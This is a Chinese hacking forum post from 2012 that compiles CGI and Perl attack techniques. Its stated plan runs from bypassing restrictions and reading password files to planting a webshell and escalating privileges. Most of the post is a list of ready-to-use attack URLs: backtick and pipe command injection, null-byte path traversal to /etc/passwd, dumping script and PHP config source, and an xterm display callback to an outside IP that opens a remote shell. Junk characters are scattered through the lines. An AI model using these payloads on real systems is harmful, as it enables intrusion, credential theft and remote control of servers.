找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2930|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
# _! ^: y8 q8 M0 u  n4 g# mcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
+ N- E, @# i" F% [; K感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  
+ V" t' ]9 k( K6 k9 P6 ?注“  
8 G2 f4 J, Z0 @perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  : [. n+ @5 R* @) Q9 f+ ?  J) R2 Q
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
6 ~/ c* O, I$ p8 [/ G0 u: L* u- u# Y0 Z4 H$ O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  2 X# a+ b' }) _' g& V. E9 a/ s7 a
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  8 Z; L! `# C4 i% r% g- q/ S' M
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
9 l, [8 V+ ~9 T5 |: Whttp://target.com/cgi-bin/home/news/sub.pl?`id`  
* l% \7 V# M0 K3 t' a6 Vhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
9 K) b6 E3 K3 Q* Yhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
* b$ O/ r0 R! `# i
# i( |$ p8 k$ K+ a' j5 Z' uhttp://target.com/test.pl;ls|  , d$ ?% I' ~' r. P" p
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  8 A2 Q+ f% p  {& Q* t3 ]8 g! v
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  3 w4 S' p9 ~) @; B4 s
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  , F; }8 N; n+ `
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
" Y* b- L4 b1 L! Nhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
, x4 |1 B8 E2 f' h5 r) j. D& o+ J; k1 _3 S
http://target.com/test.pl?&........ /../../etc/passwd  5 @. _5 A$ Z3 Y4 o1 Y" ~- m6 B: p
' t& g  _, f5 |$ M
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
4 U6 ^' w; Q8 j2 Qhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  0 p" A: m" f; H! Y- M$ ?* K
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
5 T/ c6 `/ Z7 R+ n: z9 x) z3 R% A. s0 r8 E
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
  \/ k+ [0 l5 a  V" o5 L& Uhttp://www.target.org/show.php?f ... ng/admin/global.php  
. E4 H2 `! g7 U, S# ?0 O1 [7 b9 }' @$ w
emm和ps的一句话
9 d* B: ]( [8 x- j/ F. o0 `
$ X  ]& U2 |  Q6 c- ]8 v, O: E4 D6 |http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
8 g2 ?8 m2 O: a' X5 a2 @: w  R  l" g( p  @9 E
>bbb%20|  
+ D' m7 Y; c% x& ]4 E9 ?1 t0 Z' w' `) t! J1 S5 W- m
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  ( k2 f' E- m  w) s! ?- u

) G3 d" f9 w+ f) m+ c; ^( Xhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  6 W) k$ v+ \9 E, @
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
  U7 }6 s+ x3 C8 s8 I; s
% m0 G( Y, p+ `8 j6 T: F相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  6 Z$ N# ^! d% @% K5 a" |
http://target.com/index.html#cmd.exe  ' I; L; Q; |9 n3 ~  X
http://target.com/index.html?dummyparam=xp_cmdshell  
! p$ u( W2 ?/ Rlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ; F9 D! q9 }6 _! Z8 w# Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表